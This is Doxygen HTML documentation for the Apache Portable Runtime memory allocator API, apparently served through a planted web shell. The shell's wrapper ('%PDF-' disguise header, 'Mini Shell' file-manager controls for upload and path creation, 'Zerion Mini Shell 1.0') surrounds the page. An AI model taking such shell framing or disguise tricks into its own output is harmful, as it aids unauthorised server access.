%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/doc/libapr1-dev/html/
Upload File :
Create Path :
Current File : //usr/share/doc/libapr1-dev/html/group__apr__allocator.html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=11"/>
<meta name="generator" content="Doxygen 1.9.8"/>
<meta name="viewport" content="width=device-width, initial-scale=1"/>
<title>Apache Portable Runtime: Internal Memory Allocation</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="dynsections.js"></script>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/searchdata.js"></script>
<script type="text/javascript" src="search/search.js"></script>
<link href="doxygen.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="top"><!-- do not remove this div, it is closed by doxygen! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
 <tbody>
 <tr id="projectrow">
  <td id="projectalign">
   <div id="projectname">Apache Portable Runtime
   </div>
  </td>
 </tr>
 </tbody>
</table>
</div>
<!-- end header part -->
<!-- Generated by Doxygen 1.9.8 -->
<script type="text/javascript">
/* @license magnet:?xt=urn:btih:d3d9a9a6595521f9666a5e94cc830dab83b65699&amp;dn=expat.txt MIT */
var searchBox = new SearchBox("searchBox", "search/",'.html');
/* @license-end */
</script>
<script type="text/javascript" src="menudata.js"></script>
<script type="text/javascript" src="menu.js"></script>
<script type="text/javascript">
/* @license magnet:?xt=urn:btih:d3d9a9a6595521f9666a5e94cc830dab83b65699&amp;dn=expat.txt MIT */
$(function() {
  initMenu('',true,false,'search.php','Search');
  $(document).ready(function() { init_search(); });
});
/* @license-end */
</script>
<div id="main-nav"></div>
</div><!-- top -->
<!-- window showing the filter options -->
<div id="MSearchSelectWindow"
     onmouseover="return searchBox.OnSearchSelectShow()"
     onmouseout="return searchBox.OnSearchSelectHide()"
     onkeydown="return searchBox.OnSearchSelectKey(event)">
</div>

<!-- iframe showing the search results (closed by default) -->
<div id="MSearchResultsWindow">
<div id="MSearchResults">
<div class="SRPage">
<div id="SRIndex">
<div id="SRResults"></div>
<div class="SRStatus" id="Loading">Loading...</div>
<div class="SRStatus" id="Searching">Searching...</div>
<div class="SRStatus" id="NoMatches">No Matches</div>
</div>
</div>
</div>
</div>

<div class="header">
  <div class="summary">
<a href="#nested-classes">Data Structures</a> &#124;
<a href="#define-members">Macros</a> &#124;
<a href="#typedef-members">Typedefs</a> &#124;
<a href="#func-members">Functions</a>  </div>
  <div class="headertitle"><div class="title">Internal Memory Allocation<div class="ingroups"><a class="el" href="group___a_p_r.html">Apache Portability Runtime library</a></div></div></div>
</div><!--header-->
<div class="contents">
<div class="dynheader">
Collaboration diagram for Internal Memory Allocation:</div>
<div class="dyncontent">
<div class="center"><img src="group__apr__allocator.png" border="0" usemap="#agroup____apr____allocator" alt=""/></div>
</div>
<table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a id="nested-classes" name="nested-classes"></a>
Data Structures</h2></td></tr>
<tr class="memitem:"><td class="memItemLeft" align="right" valign="top">struct &#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structapr__memnode__t.html">apr_memnode_t</a></td></tr>
<tr class="separator:"><td class="memSeparator" colspan="2">&#160;</td></tr>
</table><table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a id="define-members" name="define-members"></a>
Macros</h2></td></tr>
<tr class="memitem:gaf382851817012929f4e2458b43f4482c" id="r_gaf382851817012929f4e2458b43f4482c"><td class="memItemLeft" align="right" valign="top">#define&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__allocator.html#gaf382851817012929f4e2458b43f4482c">APR_MEMNODE_T_SIZE</a>&#160;&#160;&#160;<a class="el" href="group__apr__general.html#gab484e98426221f3212fcb67af0467381">APR_ALIGN_DEFAULT</a>(sizeof(<a class="el" href="structapr__memnode__t.html">apr_memnode_t</a>))</td></tr>
<tr class="separator:gaf382851817012929f4e2458b43f4482c"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga54f32b19d8dad59bc6364a7a6b8ebec9" id="r_ga54f32b19d8dad59bc6364a7a6b8ebec9"><td class="memItemLeft" align="right" valign="top">#define&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__allocator.html#ga54f32b19d8dad59bc6364a7a6b8ebec9">APR_ALLOCATOR_MAX_FREE_UNLIMITED</a>&#160;&#160;&#160;0</td></tr>
<tr class="separator:ga54f32b19d8dad59bc6364a7a6b8ebec9"><td class="memSeparator" colspan="2">&#160;</td></tr>
</table><table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a id="typedef-members" name="typedef-members"></a>
Typedefs</h2></td></tr>
<tr class="memitem:ga1ceabfd30fcfc455e47d052d2a24244b" id="r_ga1ceabfd30fcfc455e47d052d2a24244b"><td class="memItemLeft" align="right" valign="top">typedef struct <a class="el" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a></td></tr>
<tr class="separator:ga1ceabfd30fcfc455e47d052d2a24244b"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga3b6437036dfcdffbf87ad4677c818211" id="r_ga3b6437036dfcdffbf87ad4677c818211"><td class="memItemLeft" align="right" valign="top">typedef struct <a class="el" href="structapr__memnode__t.html">apr_memnode_t</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__allocator.html#ga3b6437036dfcdffbf87ad4677c818211">apr_memnode_t</a></td></tr>
<tr class="separator:ga3b6437036dfcdffbf87ad4677c818211"><td class="memSeparator" colspan="2">&#160;</td></tr>
</table><table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a id="func-members" name="func-members"></a>
Functions</h2></td></tr>
<tr class="memitem:gaf834f409a34b7f8656c045cff02fd953" id="r_gaf834f409a34b7f8656c045cff02fd953"><td class="memItemLeft" align="right" valign="top"><a class="el" href="group__apr__errno.html#gaf76ee4543247e9fb3f3546203e590a6c">apr_status_t</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__allocator.html#gaf834f409a34b7f8656c045cff02fd953">apr_allocator_create</a> (<a class="el" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> **allocator)</td></tr>
<tr class="separator:gaf834f409a34b7f8656c045cff02fd953"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga704529f6b26279ad1c48d5e8372d859c" id="r_ga704529f6b26279ad1c48d5e8372d859c"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__allocator.html#ga704529f6b26279ad1c48d5e8372d859c">apr_allocator_destroy</a> (<a class="el" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> *allocator)</td></tr>
<tr class="separator:ga704529f6b26279ad1c48d5e8372d859c"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga35685c205609138f73c67d5cd0df8f7f" id="r_ga35685c205609138f73c67d5cd0df8f7f"><td class="memItemLeft" align="right" valign="top"><a class="el" href="structapr__memnode__t.html">apr_memnode_t</a> *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__allocator.html#ga35685c205609138f73c67d5cd0df8f7f">apr_allocator_alloc</a> (<a class="el" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> *allocator, apr_size_t size)</td></tr>
<tr class="separator:ga35685c205609138f73c67d5cd0df8f7f"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga124e48339838213fd5e160a4125cb7e8" id="r_ga124e48339838213fd5e160a4125cb7e8"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__allocator.html#ga124e48339838213fd5e160a4125cb7e8">apr_allocator_free</a> (<a class="el" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> *allocator, <a class="el" href="structapr__memnode__t.html">apr_memnode_t</a> *memnode)</td></tr>
<tr class="separator:ga124e48339838213fd5e160a4125cb7e8"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga85162b4fb7e68b76dd70beb46947b9e5" id="r_ga85162b4fb7e68b76dd70beb46947b9e5"><td class="memItemLeft" align="right" valign="top">apr_size_t&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__allocator.html#ga85162b4fb7e68b76dd70beb46947b9e5">apr_allocator_align</a> (<a class="el" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> *allocator, apr_size_t size)</td></tr>
<tr class="separator:ga85162b4fb7e68b76dd70beb46947b9e5"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:gadf38bbec37c29c24388e95b1c9acad28" id="r_gadf38bbec37c29c24388e95b1c9acad28"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__allocator.html#gadf38bbec37c29c24388e95b1c9acad28">apr_allocator_owner_set</a> (<a class="el" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> *allocator, <a class="el" href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a> *pool)</td></tr>
<tr class="separator:gadf38bbec37c29c24388e95b1c9acad28"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga68bf32b93a15775ba1248364facb5fad" id="r_ga68bf32b93a15775ba1248364facb5fad"><td class="memItemLeft" align="right" valign="top"><a class="el" href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a> *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__allocator.html#ga68bf32b93a15775ba1248364facb5fad">apr_allocator_owner_get</a> (<a class="el" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> *allocator)</td></tr>
<tr class="separator:ga68bf32b93a15775ba1248364facb5fad"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga1d45cb6dbe69ba25dee0ec5f4e031d60" id="r_ga1d45cb6dbe69ba25dee0ec5f4e031d60"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__allocator.html#ga1d45cb6dbe69ba25dee0ec5f4e031d60">apr_allocator_max_free_set</a> (<a class="el" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> *allocator, apr_size_t size)</td></tr>
<tr class="separator:ga1d45cb6dbe69ba25dee0ec5f4e031d60"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:gab803d74f56683004f7ec384ced210dd5" id="r_gab803d74f56683004f7ec384ced210dd5"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__allocator.html#gab803d74f56683004f7ec384ced210dd5">apr_allocator_mutex_set</a> (<a class="el" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> *allocator, <a class="el" href="group__apr__thread__mutex.html#ga95712060ba3a192036416e1ccef1db75">apr_thread_mutex_t</a> *mutex)</td></tr>
<tr class="separator:gab803d74f56683004f7ec384ced210dd5"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga52d79d49b1865a05b4468993cf6e9bb1" id="r_ga52d79d49b1865a05b4468993cf6e9bb1"><td class="memItemLeft" align="right" valign="top"><a class="el" href="group__apr__thread__mutex.html#ga95712060ba3a192036416e1ccef1db75">apr_thread_mutex_t</a> *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__allocator.html#ga52d79d49b1865a05b4468993cf6e9bb1">apr_allocator_mutex_get</a> (<a class="el" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> *allocator)</td></tr>
<tr class="separator:ga52d79d49b1865a05b4468993cf6e9bb1"><td class="memSeparator" colspan="2">&#160;</td></tr>
</table>
<a name="details" id="details"></a><h2 class="groupheader">Detailed Description</h2>
<h2 class="groupheader">Macro Definition Documentation</h2>
<a id="ga54f32b19d8dad59bc6364a7a6b8ebec9" name="ga54f32b19d8dad59bc6364a7a6b8ebec9"></a>
<h2 class="memtitle"><span class="permalink"><a href="#ga54f32b19d8dad59bc6364a7a6b8ebec9">&#9670;&#160;</a></span>APR_ALLOCATOR_MAX_FREE_UNLIMITED</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">#define APR_ALLOCATOR_MAX_FREE_UNLIMITED&#160;&#160;&#160;0</td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Symbolic constants </p>

</div>
</div>
<a id="gaf382851817012929f4e2458b43f4482c" name="gaf382851817012929f4e2458b43f4482c"></a>
<h2 class="memtitle"><span class="permalink"><a href="#gaf382851817012929f4e2458b43f4482c">&#9670;&#160;</a></span>APR_MEMNODE_T_SIZE</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">#define APR_MEMNODE_T_SIZE&#160;&#160;&#160;<a class="el" href="group__apr__general.html#gab484e98426221f3212fcb67af0467381">APR_ALIGN_DEFAULT</a>(sizeof(<a class="el" href="structapr__memnode__t.html">apr_memnode_t</a>))</td>
        </tr>
      </table>
</div><div class="memdoc">
<p>The base size of a memory node - aligned. <br  />
 </p>

</div>
</div>
<h2 class="groupheader">Typedef Documentation</h2>
<a id="ga1ceabfd30fcfc455e47d052d2a24244b" name="ga1ceabfd30fcfc455e47d052d2a24244b"></a>
<h2 class="memtitle"><span class="permalink"><a href="#ga1ceabfd30fcfc455e47d052d2a24244b">&#9670;&#160;</a></span>apr_allocator_t</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">typedef struct <a class="el" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> <a class="el" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>the allocator structure </p>

</div>
</div>
<a id="ga3b6437036dfcdffbf87ad4677c818211" name="ga3b6437036dfcdffbf87ad4677c818211"></a>
<h2 class="memtitle"><span class="permalink"><a href="#ga3b6437036dfcdffbf87ad4677c818211">&#9670;&#160;</a></span>apr_memnode_t</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">typedef struct <a class="el" href="structapr__memnode__t.html">apr_memnode_t</a> <a class="el" href="structapr__memnode__t.html">apr_memnode_t</a></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>the structure which holds information about the allocation </p>

</div>
</div>
<h2 class="groupheader">Function Documentation</h2>
<a id="ga85162b4fb7e68b76dd70beb46947b9e5" name="ga85162b4fb7e68b76dd70beb46947b9e5"></a>
<h2 class="memtitle"><span class="permalink"><a href="#ga85162b4fb7e68b76dd70beb46947b9e5">&#9670;&#160;</a></span>apr_allocator_align()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">apr_size_t apr_allocator_align </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> *&#160;</td>
          <td class="paramname"><em>allocator</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">apr_size_t&#160;</td>
          <td class="paramname"><em>size</em>&#160;</td>
        </tr>
        <tr>
          <td></td>
          <td>)</td>
          <td></td><td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Get the true size that would be allocated for the given size (including the header and alignment). </p><dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">allocator</td><td>The allocator from which to the memory would be allocated </td></tr>
    <tr><td class="paramname">size</td><td>The size to align </td></tr>
  </table>
  </dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>The aligned size (or zero on apr_size_t overflow) </dd></dl>

</div>
</div>
<a id="ga35685c205609138f73c67d5cd0df8f7f" name="ga35685c205609138f73c67d5cd0df8f7f"></a>
<h2 class="memtitle"><span class="permalink"><a href="#ga35685c205609138f73c67d5cd0df8f7f">&#9670;&#160;</a></span>apr_allocator_alloc()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname"><a class="el" href="structapr__memnode__t.html">apr_memnode_t</a> * apr_allocator_alloc </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> *&#160;</td>
          <td class="paramname"><em>allocator</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">apr_size_t&#160;</td>
          <td class="paramname"><em>size</em>&#160;</td>
        </tr>
        <tr>
          <td></td>
          <td>)</td>
          <td></td><td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Allocate a block of mem from the allocator </p><dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">allocator</td><td>The allocator to allocate from </td></tr>
    <tr><td class="paramname">size</td><td>The size of the mem to allocate (excluding the memnode structure) </td></tr>
  </table>
  </dd>
</dl>

</div>
</div>
<a id="gaf834f409a34b7f8656c045cff02fd953" name="gaf834f409a34b7f8656c045cff02fd953"></a>
<h2 class="memtitle"><span class="permalink"><a href="#gaf834f409a34b7f8656c045cff02fd953">&#9670;&#160;</a></span>apr_allocator_create()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname"><a class="el" href="group__apr__errno.html#gaf76ee4543247e9fb3f3546203e590a6c">apr_status_t</a> apr_allocator_create </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> **&#160;</td>
          <td class="paramname"><em>allocator</em></td><td>)</td>
          <td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Create a new allocator </p><dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">allocator</td><td>The allocator we have just created. </td></tr>
  </table>
  </dd>
</dl>

</div>
</div>
<a id="ga704529f6b26279ad1c48d5e8372d859c" name="ga704529f6b26279ad1c48d5e8372d859c"></a>
<h2 class="memtitle"><span class="permalink"><a href="#ga704529f6b26279ad1c48d5e8372d859c">&#9670;&#160;</a></span>apr_allocator_destroy()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">void apr_allocator_destroy </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> *&#160;</td>
          <td class="paramname"><em>allocator</em></td><td>)</td>
          <td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Destroy an allocator </p><dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">allocator</td><td>The allocator to be destroyed </td></tr>
  </table>
  </dd>
</dl>
<dl class="section remark"><dt>Remarks</dt><dd>Any memnodes not given back to the allocator prior to destroying will <em>not</em> be free()d. </dd></dl>

</div>
</div>
<a id="ga124e48339838213fd5e160a4125cb7e8" name="ga124e48339838213fd5e160a4125cb7e8"></a>
<h2 class="memtitle"><span class="permalink"><a href="#ga124e48339838213fd5e160a4125cb7e8">&#9670;&#160;</a></span>apr_allocator_free()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">void apr_allocator_free </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> *&#160;</td>
          <td class="paramname"><em>allocator</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype"><a class="el" href="structapr__memnode__t.html">apr_memnode_t</a> *&#160;</td>
          <td class="paramname"><em>memnode</em>&#160;</td>
        </tr>
        <tr>
          <td></td>
          <td>)</td>
          <td></td><td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Free a list of blocks of mem, giving them back to the allocator. The list is typically terminated by a memnode with its next field set to NULL. </p><dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">allocator</td><td>The allocator to give the mem back to </td></tr>
    <tr><td class="paramname">memnode</td><td>The memory node to return </td></tr>
  </table>
  </dd>
</dl>

</div>
</div>
<a id="ga1d45cb6dbe69ba25dee0ec5f4e031d60" name="ga1d45cb6dbe69ba25dee0ec5f4e031d60"></a>
<h2 class="memtitle"><span class="permalink"><a href="#ga1d45cb6dbe69ba25dee0ec5f4e031d60">&#9670;&#160;</a></span>apr_allocator_max_free_set()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">void apr_allocator_max_free_set </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> *&#160;</td>
          <td class="paramname"><em>allocator</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">apr_size_t&#160;</td>
          <td class="paramname"><em>size</em>&#160;</td>
        </tr>
        <tr>
          <td></td>
          <td>)</td>
          <td></td><td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Set the current threshold at which the allocator should start giving blocks back to the system. </p><dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">allocator</td><td>The allocator to set the threshold on </td></tr>
    <tr><td class="paramname">size</td><td>The threshold. 0 == unlimited. </td></tr>
  </table>
  </dd>
</dl>

</div>
</div>
<a id="ga52d79d49b1865a05b4468993cf6e9bb1" name="ga52d79d49b1865a05b4468993cf6e9bb1"></a>
<h2 class="memtitle"><span class="permalink"><a href="#ga52d79d49b1865a05b4468993cf6e9bb1">&#9670;&#160;</a></span>apr_allocator_mutex_get()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname"><a class="el" href="group__apr__thread__mutex.html#ga95712060ba3a192036416e1ccef1db75">apr_thread_mutex_t</a> * apr_allocator_mutex_get </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> *&#160;</td>
          <td class="paramname"><em>allocator</em></td><td>)</td>
          <td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Get the mutex currently set for the allocator </p><dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">allocator</td><td>The allocator </td></tr>
  </table>
  </dd>
</dl>

</div>
</div>
<a id="gab803d74f56683004f7ec384ced210dd5" name="gab803d74f56683004f7ec384ced210dd5"></a>
<h2 class="memtitle"><span class="permalink"><a href="#gab803d74f56683004f7ec384ced210dd5">&#9670;&#160;</a></span>apr_allocator_mutex_set()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">void apr_allocator_mutex_set </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> *&#160;</td>
          <td class="paramname"><em>allocator</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype"><a class="el" href="group__apr__thread__mutex.html#ga95712060ba3a192036416e1ccef1db75">apr_thread_mutex_t</a> *&#160;</td>
          <td class="paramname"><em>mutex</em>&#160;</td>
        </tr>
        <tr>
          <td></td>
          <td>)</td>
          <td></td><td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Set a mutex for the allocator to use </p><dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">allocator</td><td>The allocator to set the mutex for </td></tr>
    <tr><td class="paramname">mutex</td><td>The mutex </td></tr>
  </table>
  </dd>
</dl>

</div>
</div>
<a id="ga68bf32b93a15775ba1248364facb5fad" name="ga68bf32b93a15775ba1248364facb5fad"></a>
<h2 class="memtitle"><span class="permalink"><a href="#ga68bf32b93a15775ba1248364facb5fad">&#9670;&#160;</a></span>apr_allocator_owner_get()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname"><a class="el" href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a> * apr_allocator_owner_get </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> *&#160;</td>
          <td class="paramname"><em>allocator</em></td><td>)</td>
          <td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Get the current owner of the allocator </p><dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">allocator</td><td>The allocator to get the owner from </td></tr>
  </table>
  </dd>
</dl>

</div>
</div>
<a id="gadf38bbec37c29c24388e95b1c9acad28" name="gadf38bbec37c29c24388e95b1c9acad28"></a>
<h2 class="memtitle"><span class="permalink"><a href="#gadf38bbec37c29c24388e95b1c9acad28">&#9670;&#160;</a></span>apr_allocator_owner_set()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">void apr_allocator_owner_set </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> *&#160;</td>
          <td class="paramname"><em>allocator</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype"><a class="el" href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a> *&#160;</td>
          <td class="paramname"><em>pool</em>&#160;</td>
        </tr>
        <tr>
          <td></td>
          <td>)</td>
          <td></td><td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Set the owner of the allocator </p><dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">allocator</td><td>The allocator to set the owner for </td></tr>
    <tr><td class="paramname">pool</td><td>The pool that is to own the allocator </td></tr>
  </table>
  </dd>
</dl>
<dl class="section remark"><dt>Remarks</dt><dd>Typically pool is the highest level pool using the allocator </dd></dl>

</div>
</div>
</div><!-- contents -->
<!-- start footer part -->
<hr class="footer"/><address class="footer"><small>
Generated by&#160;<a href="https://www.doxygen.org/index.html"><img class="footer" src="doxygen.svg" width="104" height="31" alt="doxygen"/></a> 1.9.8
</small></address>
</body>
</html>

Zerion Mini Shell 1.0